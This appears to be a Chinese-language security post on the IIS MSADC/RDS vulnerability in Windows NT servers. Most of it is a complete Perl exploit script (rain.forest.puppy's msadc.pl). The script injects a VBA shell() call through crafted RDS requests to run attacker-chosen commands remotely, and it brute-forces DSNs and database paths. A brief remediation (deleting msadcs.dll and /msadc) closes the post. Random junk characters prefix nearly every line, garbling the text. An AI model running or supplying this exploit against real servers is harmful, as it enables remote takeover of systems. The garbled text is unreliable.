IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ib#rT {e Hg<aU*o; 涉及程序：
nW"O+ s3 Microsoft NT server
VevG 64o K-)!d$$
描述：
D_0sXIbg 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ybqmPT'|_ )W>$_QxbN 详细：
T#i;=NP" 如果你没有时间读详细内容的话，就删除:
x {Utf$| c:\Program Files\Common Files\System\Msadc\msadcs.dll
nOd;Zw 有关的安全问题就没有了。
XHj%U M!5=3>Z 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
X-fWdoN @- 8s2y!pn 7Q 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
U5wh( vi 关于利用ODBC远程漏洞的描述，请参看:
O/FI>RT\H [j5 +PV http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NK/y,f6 Yj>4*C9 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
a>W++8t1 ; http://www.microsoft.com/security/bulletins/MS99-025faq.asp "_\ " S 6vAZLNG3 这里不再论述。
X/cb1 # BJb, 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
&V$cwB h&CZN ! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2u a!<^, 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
%(p9AE *EvW: < )mf |3/o #将下面这段保存为txt文件，然后: "perl -x 文件名"
l7jen=(Zb; tc[Ld# #!perl
)W
p7e51 #
} % Ie # MSADC/RDS 'usage' (aka exploit) script
89^g$ ac #
COu5Tu^ # by rain.forest.puppy
xWXLk )A #
@ Do.Wgt # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O50<h O]l # beta test and find errors!
_b&26!gl 1u N;JN
`_ use Socket; use Getopt::Std;
(}6\_k[}m getopts("e:vd:h:XR", \%args);
MnqT?Cc4$j _q #pEv print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
EjFpQ|-L| Vm\zLWNB if (!defined $args{h} && !defined $args{R}) {
P ?f${ t+ print qq~
hBn UpYec Usage: msadc.pl -h <host> { -d <delay> -X -v }
g[1>|Ax`' -h <host> = host you want to scan (ip or domain)
a R eJ@ -d <seconds> = delay between calls, default 1 second
0C%IdV%CU -X = dump Index Server path table, if available
lSaX!${R'T -v = verbose
XXn3K BIf -e = external dictionary file for step 5
#J3o~,t < \P+^BG! Or a -R will resume a command session
-*KKrte $%\6"P/64 ~; exit;}
XZ]j i9' !;(Wm6~*ad $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
h[iO'Vq if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kN1R8| pv if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"*D9.LyM if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{+_p?8X $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
g$#A'Du if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~mt{j7 48^C+#Jbc if (!defined $args{R}){ $ret = &has_msadc;
r'#!w3*Cy die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
O.X;w<F/ V u28$ V]
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\3^V-/SJf . "cmd /c ";
],0I`!\ $in=<STDIN>; chomp $in;
cL*oO@I&_ $command="cmd /c " . $in ;
R/"-r^j ;f[##=tm if (defined $args{R}) {&load; exit;}
n.8 870.BW ejyx[CF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
9q$^x/z! &try_btcustmr;
EG qu-WBS z-kv{y*Hu
print "\nStep 2: Trying to make our own DSN...";
C=r`\W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
X41Qkf{ <a $!S print "\nStep 3: Trying known DSNs...";
beikz uC &known_dsn;
H!7?#tRU zn^7#$fC print "\nStep 4: Trying known .mdbs...";
+`gU{e,p &known_mdb;
/{hT3ncb ~<<32 t'S: if (defined $args{e}){
R[jFB
7dd print "\nStep 5: Trying dictionary of DSN names...";
:Bt,.uN C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
0Yq_B+IC eL"'-d+] print "Sorry Charley...maybe next time?\n";
_F[a2PE2+ exit;
1G12FV>M @fm p2!?6 ##############################################################################
aW dI lJ= EP.T sub sendraw { # ripped and modded from whisker
/cx'(AT sleep($delay); # it's a DoS on the server! At least on mine...
!y~nsy:&7x my ($pstr)=@_;
* bYU=RS socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`ql8y ' die("Socket problems\n");
]5QXiF8` if(connect(S,pack "SnA4x8",2,80,$target)){
^ _\m@ select(S); $|=1;
`l OW7Z} print $pstr; my @in=<S>;
VT4 >6u} select(STDOUT); close(S);
E"p _!! 1 return @in;
\.i ejB } else { die("Can't connect...\n"); }}
p<'pqf k"gm;,` ##############################################################################
-f ~1Id "#gKI/[qxq sub make_header { # make the HTTP request
BaI-ve my $msadc=<<EOT
oKGF'y?A> POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ru#p Jb(R User-Agent: ACTIVEDATA
m D% qDKI Host: $ip
C.#Ha-@uz Content-Length: $clen
]?T^tJ Connection: Keep-Alive
Hpz1Iy @ ZG1TR F " ADCClientVersion:01.06
6 l2O>V Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
QQN6\(;- PR!0=E*} --!ADM!ROX!YOUR!WORLD!
+ug2p;<B Content-Type: application/x-varg
k=kkF" Content-Length: $reqlen
rp<~ =X G7`mK}J7 EOT
J5jI/P ; $msadc=~s/\n/\r\n/g;
h(AL\9{=} return $msadc;}
R"HV|Dm|m `u_MdB}<x; ##############################################################################
&F#eYEuy eQ)*jeD sub make_req { # make the RDS request
+RM!j9Rq my ($switch, $p1, $p2)=@_;
MHt
~ZVH my $req=""; my $t1, $t2, $query, $dsn;
$v2t6wS," jf1GYwuW* if ($switch==1){ # this is the btcustmr.mdb query
PE6,9i0ee $query="Select * from Customers where City=" . make_shell();
2^`k6V! $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_ ~yd $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
EX!`Zejf 9pj6`5Zn@6 elsif ($switch==2){ # this is general make table query
u@:[ dbJ $query="create table AZZ (B int, C varchar(10))";
h {J io> $dsn="$p1";}
$Lbamg->E jP z1W4pk elsif ($switch==3){ # this is general exploit table query
> #&2 5 ,Q $query="select * from AZZ where C=" . make_shell();
N.Q}.(N0 $dsn="$p1";}
6
F 39' #+_=(J elsif ($switch==4){ # attempt to hork file info from index server
iuXXFuh $query="select path from scope()";
T zS?WYF $dsn="Provider=MSIDXS;";}
,d lq2 0/|Ax-dK elsif ($switch==5){ # bad query
sl@>GbnS $query="select";
qhTVsZ:{C $dsn="$p1";}
XABP} |aWK T YR \K $t1= make_unicode($query);
wBw(T1VN $t2= make_unicode($dsn);
h,&{m*q& $req = "\x02\x00\x03\x00";
4Ng:7C2 $req.= "\x08\x00" . pack ("S1", length($t1));
V8WSJ=-&
$req.= "\x00\x00" . $t1 ;
Z*b l J5YC $req.= "\x08\x00" . pack ("S1", length($t2));
B>cT < B $req.= "\x00\x00" . $t2 ;
[+W<;iep $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
X-"
+nThMn return $req;}
#/H2 p`5 ic IWv
##############################################################################
C .B=E"e ^yl}/OD sub make_shell { # this makes the shell() statement
/%jX=S.5h< return "'|shell(\"$command\")|'";}
;K> 'Gl :eL[nyQr ##############################################################################
U}Puq5[ ? pZ*%zt]-a sub make_unicode { # quick little function to convert to unicode
HrZX~JnTmf my ($in)=@_; my $out;
:|ah u for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6XC FL-o- return $out;}
B:UM2Jl
KlS#f ##############################################################################
GB}= Fk paou sub rdo_success { # checks for RDO return success (this is kludge)
0:I<TJ~P my (@in) = @_; my $base=content_start(@in);
#ucb if($in[$base]=~/multipart\/mixed/){
jy>?+hm? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8b-mW>xsA return 0;}
}:$ot18 $'eY-U8q ##############################################################################
-w"lW7 :r
"G Z sub make_dsn { # this makes a DSN for us
!'[? cEog my @drives=("c","d","e","f");
]o=ON95ja print "\nMaking DSN: ";
O
x`K7$) foreach $drive (@drives) {
Sa@'?ApH print "$drive: ";
L[nDjQn" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{ ' 0#<Z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?VRsgV '$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`J03t\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n q>F_h return 0 if $2 eq "404"; # not found/doesn't exist
$~1mKx]] if($2 eq "200") {
Va l"v UZ foreach $line (@results) {
I7=A!C" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Np$&8v+en } return 0;}
/uR /,R++ 1 \aTA, ##############################################################################
dXM8iP Prf G sub verify_exists {
0n kC%j my ($page)=@_;
)'RaMo` 4 my @results=sendraw("GET $page HTTP/1.0\n\n");
y4I Qa.F return $results[0];}
j6k"%QHf uH'? I kx" ##############################################################################
8L_OH S|@/"?DC sub try_btcustmr {
N`?/kubD my @drives=("c","d","e","f");
0T(+z )Ki my @dirs=("winnt","winnt35","winnt351","win","windows");
id8QagJ ,3-^EfccW foreach $dir (@dirs) {
@b., pwZF print "$dir -> "; # fun status so you can see progress
4 ]p#9`j foreach $drive (@drives) {
.GNyA DQp print "$drive: "; # ditto
'PFjZGaKR $reqlen=length( make_req(1,$drive,$dir) ) - 28;
q `L )^In" $reqlenlen=length( "$reqlen" );
Qmo}esb'( $clen= 206 + $reqlenlen + $reqlen;
#QcRN?s GR o fOJ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
2&]LZ: ( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
MXEI/mDYK else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T=sAy/1oR `T1bY9O. ##############################################################################
=6=:OId 's5rl sub odbc_error {
~QPTs1Vk8 my (@in)=@_; my $base;
B B69U my $base = content_start(@in);
-}!mi V if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
OX]P;#4t U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^=5y; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
: WQlpL n $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,~1k:>njY~ return $in[$base+4].$in[$base+5].$in[$base+6];}
> cWE@P print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]e"!ZR?XJ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,!%E\` $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
cqs.[0 z#B 7
wEv`5 ##############################################################################
puW Mgvv TKGaGMx 6@ sub verbose {
'yA/sZ my ($in)=@_;
V'Kie d+ return if !$verbose;
ZPb30 M0 print STDOUT "\n$in\n";}
m]fU V8U `\;Z&jlpT ##############################################################################
-+Yark {~Jk (c~I sub save {
8{i}^.p my ($p1, $p2, $p3, $p4)=@_;
?r8hl.Z> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
X?< L<:. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Qyx~={ .C~ close OUT;}
@b^$h:H 4L{]!dox ##############################################################################
> 3(,s^ gg%)#0Zi sub load {
^_P?EJ,)` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Qf ~$9?z open(IN,"<rds.save") || die("Couldn't open rds.save\n");
z;<~j=lP @p=<IN>; close(IN);
&Q}%b7 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
PO6yE r $target= inet_aton($ip) || die("inet_aton problems");
lfC]!=2%~8 print "Resuming to $ip ...";
<? !' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
jg{2Sxf!c if($p[1]==1) {
i(cKg&+ktd $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
c@}t @k $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
>ZG$8y 'j my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
qs bo"29 if (rdo_success(@results)){print "Success!\n";}
9=T;Dxn else { print "failed\n"; verbose(odbc_error(@results));}}
w4TQ4
Y elsif ($p[1]==3){
'2<r{ if(run_query("$p[3]")){
W print "Success!\n";} else { print "failed\n"; }}
&$_!S!Sa/ elsif ($p[1]==4){
+By '6?22 if(run_query($drvst . "$p[3]")){
<)(W7#Ks print "Success!\n"; } else { print "failed\n"; }}
C|3Xz[k{ exit;}
ZxT
E(B Qv BQg3+w:> ##############################################################################
=4SXntU!e 9609 sub create_table {
=*lBJ-L my ($in)=@_;
CyYr5 Dz $reqlen=length( make_req(2,$in,"") ) - 28;
S1y6G/e9 $reqlenlen=length( "$reqlen" );
Ny/eYF# $clen= 206 + $reqlenlen + $reqlen;
v3M$UiN,: my @results=sendraw(make_header() . make_req(2,$in,""));
. 43cI( return 1 if rdo_success(@results);
w"dKOdY my $temp= odbc_error(@results); verbose($temp);
D^ .
c: return 1 if $temp=~/Table 'AZZ' already exists/;
a*.#Zgy:lK return 0;}
7[qL~BT+ N5sVRL" 7 ##############################################################################
GxG~J4 Tjrb.+cua sub known_dsn {
G&1bhi52 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"uIaKb my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
c};%VB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Z/?{{}H+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
\( {'Xo >( U1) Z h-aR foreach $dSn (@dsns) {
( y.N-I, print ".";
+BL4 6 Bq next if (!is_access("DSN=$dSn"));
X"_
^^d- if(create_table("DSN=$dSn")){
"zd _eC5 print "$dSn successful\n";
{en'8kS if(run_query("DSN=$dSn")){
HSRO gBNI: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&b5(Su print "Something's borked. Use verbose next time\n";}}} print "\n";}
5~IdWwG*w u|M x} ##############################################################################
z
rSPa \M w@cW`PlF sub is_access {
x:!s+q`
s my ($in)=@_;
#*_!Xc9f $reqlen=length( make_req(5,$in,"") ) - 28;
^w~B]*A :" $reqlenlen=length( "$reqlen" );
H~Vf;k> $clen= 206 + $reqlenlen + $reqlen;
6V JudNA my @results=sendraw(make_header() . make_req(5,$in,""));
$'Mf$h my $temp= odbc_error(@results);
;2 &" verbose($temp); return 1 if ($temp=~/Microsoft Access/);
breF,d$ return 0;}
L Af#Rco4 O=}Rp 1 ##############################################################################
1a{r1([) B^P&+ ,\[} sub run_query {
&*+ $38XE^ my ($in)=@_;
f ?k0(rl $reqlen=length( make_req(3,$in,"") ) - 28;
h L [ eA $reqlenlen=length( "$reqlen" );
W>d)( $clen= 206 + $reqlenlen + $reqlen;
%ZWt 45A my @results=sendraw(make_header() . make_req(3,$in,""));
9A B U^ig return 1 if rdo_success(@results);
^-k"gLg my $temp= odbc_error(@results); verbose($temp);
^OWG9`p+ return 0;}
h`1<+1J9
Fl= H5HR ##############################################################################
U[?_|= ~7 h^tCF =S sub known_mdb {
a6DR' BC my @drives=("c","d","e","f","g");
xLoQ0rt
6 my @dirs=("winnt","winnt35","winnt351","win","windows");
X7L:cVBg my $dir, $drive, $mdb;
[I4M K%YQ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~ d]v{<3 SU~.baP? # this is sparse, because I don't know of many
~i%=1&K&` my @sysmdbs=( "\\catroot\\icatalog.mdb",
QWfSm^
t "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{P~rf&Ee "\\system32\\certmdb.mdb",
>rEZ$h "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
naf ~#==vc ySO\9#Ho my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9c)#j&2? H "\\cfusion\\cfapps\\forums\\forums_.mdb",
;n(f?RO3X "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Fk 3(( n= "\\cfusion\\cfapps\\security\\realm_.mdb",
P%e7 c, "\\cfusion\\cfapps\\security\\data\\realm.mdb",
= N* Jis "\\cfusion\\database\\cfexamples.mdb",
*
CR#D}F "\\cfusion\\database\\cfsnippets.mdb",
N?vb^? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
5< ruN11G "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
k B]`py! "\\cfusion\\brighttiger\\database\\cleam.mdb",
L7 }nmP>aR "\\cfusion\\database\\smpolicy.mdb",
?c RF;!o" "\\cfusion\\database\cypress.mdb",
Hm'"I!jyO "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%w65)BF Q "\\website\\cgi-win\\dbsample.mdb",
L>sLb(2\i "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<6 Rec^QF "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ANu>* ); #these are just
[h;I)ug[o( foreach $drive (@drives) {
\~%+)a%% foreach $dir (@dirs){
.@OQ$ D < foreach $mdb (@sysmdbs) {
Pa3-0dUr print ".";
!9/`PcNIpy if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Q NMZR print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<>\|hno} if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T@yQOD7 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
BkXv4|UE } else { print "Something's borked. Use verbose next time\n"; }}}}}
4DCh+|r Zc~7R`v7} foreach $drive (@drives) {
OU,FU@6,7w foreach $mdb (@mdbs) {
X<;. print ".";
\]Ah=` if(create_table($drv . $drive . $dir . $mdb)){
S^p b9~ print "\n" . $drive . $dir . $mdb . " successful\n";
G:$kGzhJ if(run_query($drv . $drive . $dir . $mdb)){
15j5F5P print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
VR>!Ch } else { print "Something's borked. Use verbose next time\n"; }}}}
t(*n[7e }
%[*-aA 0@ zJa;z' ##############################################################################
?(=|!`IoO :gwmk9LZ sub hork_idx {
R'c dEoy print "\nAttempting to dump Index Server tables...\n";
M+
%O-B print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
(rBsh6@) $reqlen=length( make_req(4,"","") ) - 28;
Zio ! j%G $reqlenlen=length( "$reqlen" );
# 2_FM!e $clen= 206 + $reqlenlen + $reqlen;
u5}:[4N%I my @results=sendraw2(make_header() . make_req(4,"",""));
06.%9R{ if (rdo_success(@results)){
N+c|0 my $max=@results; my $c; my %d;
q%;cu1^"M for($c=19; $c<$max; $c++){
qK%N{ro[{? $results[$c]=~s/\x00//g;
n&;JW6VQS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
G=17]>U $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
;
D<k $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
[#gm[@d , $d{"$1$2"}="";}
?l6yLn5si^ foreach $c (keys %d){ print "$c\n"; }
*>=tmW;% } else {print "Index server doesn't seem to be installed.\n"; }}
}}TPu8Rl /8qR7Z^HZ ##############################################################################
Wu $ryX Z . gb' sub dsn_dict {
EWDsBNZaI open(IN, "<$args{e}") || die("Can't open external dictionary\n");
PM[ W7g T while(<IN>){
+-'F]?DN' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
R|qrK next if (!is_access("DSN=$dSn"));
[ m:cO6DM, if(create_table("DSN=$dSn")){
_1gN U]" print "$dSn successful\n";
WMtFXkf6" if(run_query("DSN=$dSn")){
aF?_V!#cT print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
vf3) T;X> print "Something's borked. Use verbose next time\n";}}}
geyCS3
:p print "\n"; close(IN);}
Lbz/M _G ;F @S z/ ##############################################################################
Gxe)5,G i`F5 sub sendraw2 { # ripped and modded from whisker
ZiuD0#"! sleep($delay); # it's a DoS on the server! At least on mine...
C%yH}T\s my ($pstr)=@_;
o4FHR+u< M socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,byc !P die("Socket problems\n");
<<d # if(connect(S,pack "SnA4x8",2,80,$target)){
A Qjv?
4)T print "Connected. Getting data";
wGL MLbj5 open(OUT,">raw.out"); my @in;
<T [LugI select(S); $|=1; print $pstr;
(9%?ik while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
R&W%E%uj close(OUT); select(STDOUT); close(S); return @in;
3 twA5)v } else { die("Can't connect...\n"); }}
@ ~hy'6/ 9]=J + (M ##############################################################################
jq)Bj#'7 n+=qT$w) sub content_start { # this will take in the server headers
$;Fx Zkp my (@in)=@_; my $c;
Xf&YcHo for ($c=1;$c<500;$c++) {
Gn
9oInY1 if($in[$c] =~/^\x0d\x0a/){
eWv:wNouk if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
QoxYzln else { return $c+1; }}}
Wd;t(5Xl return -1;} # it should never get here actually
/a3 2QuS 7(o`>7x* ##############################################################################
D@uVb4uK moxmQ>xoH sub funky {
%l&oRBC my (@in)=@_; my $error=odbc_error(@in);
k5-4 ^ if($error=~/ADO could not find the specified provider/){
O lyW/hd print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~F-knEvL exit;}
F?2UHcs if($error=~/A Handler is required/){
0a:oC(Ak
print "\nServer has custom handler filters (they most likely are patched)\n";
`:3nF' exit;}
"G>d8GbIh if($error=~/specified Handler has denied Access/){
n! 5(Z5= print "\nServer has custom handler filters (they most likely are patched)\n";
A-4;$
QSm exit;}}
H3$py|}lL A!!!7t j ##############################################################################
xT&~{,9 .\$A7DD+A sub has_msadc {
O1o>eDE5A my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`G!HGzVx;j my $base=content_start(@results);
26aDPTP $< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
YNV,
dKB return 0;}
}6 a}8EyFP b EcN_7 ########################
*ilh/Hd> )I*(yUj eV}" L:bgJ 解决方案：
B \R X 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ShC$ue?Q 2、移除web 目录: /msadc
